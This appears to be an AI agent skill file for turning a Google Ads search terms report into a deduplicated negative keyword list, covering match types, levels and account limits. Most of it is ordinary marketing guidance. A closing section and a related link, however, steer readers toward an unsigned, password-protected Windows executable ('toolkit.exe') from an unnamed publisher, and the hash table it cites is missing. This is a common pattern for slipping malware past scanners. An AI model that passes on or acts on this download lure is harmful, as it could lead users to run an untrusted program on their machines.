Google Ads Negative Keyword List

Turns a search terms report into a deduplicated negative keyword list with the match type, the level to apply it at, and the account limits checked. Written for US Google Ads account managers and in-house performance marketers buying search traffic.

Use this skill when someone asks for:

• google ads negative keyword list
• search terms report cleanup
• negative keyword match type
• wasted search spend keywords

The job

Search term reports turn into a spreadsheet of near-duplicates, so the negative list grows forever and nobody applies the account-level terms where they belong.

What you get

1. Collect the search terms export, the account the words belong to and the terms the brand needs to keep.
2. Group the waste by intent: irrelevant, research-only, competitor, job-seeker, support or own-brand.
3. Write each term once, pick negative exact or negative phrase, and decide whether it goes on the account, the campaign or the ad group.
4. Check the result against the account limits and flag the words that need a human decision before upload.

Output contract:

• negative_list - one row per term with the match type and the level it is applied at
• keep_list - the brand and product terms that must never be excluded
• needs_review - the words where intent is unclear and a human has to decide
• limit_check - how many terms the list holds against the account, campaign and list limits

US specifics that matter

• Google Ads allows 5,000 keywords per negative keyword list, 10,000 negative keywords per campaign, and 1,000 account-level negative keywords.
• For Display and Video campaigns Google considers at most 1,000 negative keywords, and treats every negative keyword there as a broad match.
• Google raised the Performance Max campaign-level negative keyword limit from 100 to 10,000 in March 2025.
• A negative exact keyword blocks one query; a negative phrase keyword blocks every query that contains the phrase.

Guardrails (hard rules)

• Never exclude a term that contains the brand name, the product name or a service the seller sells without flagging it for a human decision.
• Never apply, upload or delete negatives in the user's Google Ads account; the account manager applies them.
• Never pull search terms from another advertiser's account or from a third-party data list.
• Never treat a keyword as safe to exclude based on intuition alone; every exclusion has to trace back to a row in the user's own report.

Quickstart

1. Fill in the brief

templates/negative-keyword-plan.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/dedupe_search_terms.py --input negative-keyword-plan.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/google-negative-keywords.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Limits that shape the list

• 5,000 keywords per negative keyword list, 20 lists per account.
• 10,000 negative keywords per campaign, 1,000 account-level negative keywords.
• Display and Video campaigns consider at most 1,000 negatives, and all of them act as broad match there.
• Performance Max campaign-level negatives went from a 100 cap to 10,000 in March 2025.

Exact versus phrase

• Negative exact blocks one query, so it is the safer choice for a single irrelevant term.
• Negative phrase blocks every query containing the words, so it can kill revenue when the words are ambiguous.
• Write the phrase in the order a searcher would type it, without quotes and without match type punctuation.

Where the term goes

• Account level applies the term to all search and shopping inventory in the account.
• Campaign level keeps it inside one product line; ad group level stays inside one intent cluster.
• Shared lists let a term serve several campaigns at once without duplicating the row.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/google-negative-keywords.md - Negative keyword rules and account limits in Google Ads
• templates/negative-keyword-plan.yaml - the brief to fill in
• scripts/dedupe_search_terms.py - the working script

Verify the bundle

python3 scripts/dedupe_search_terms.py --input negative-keyword-plan.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.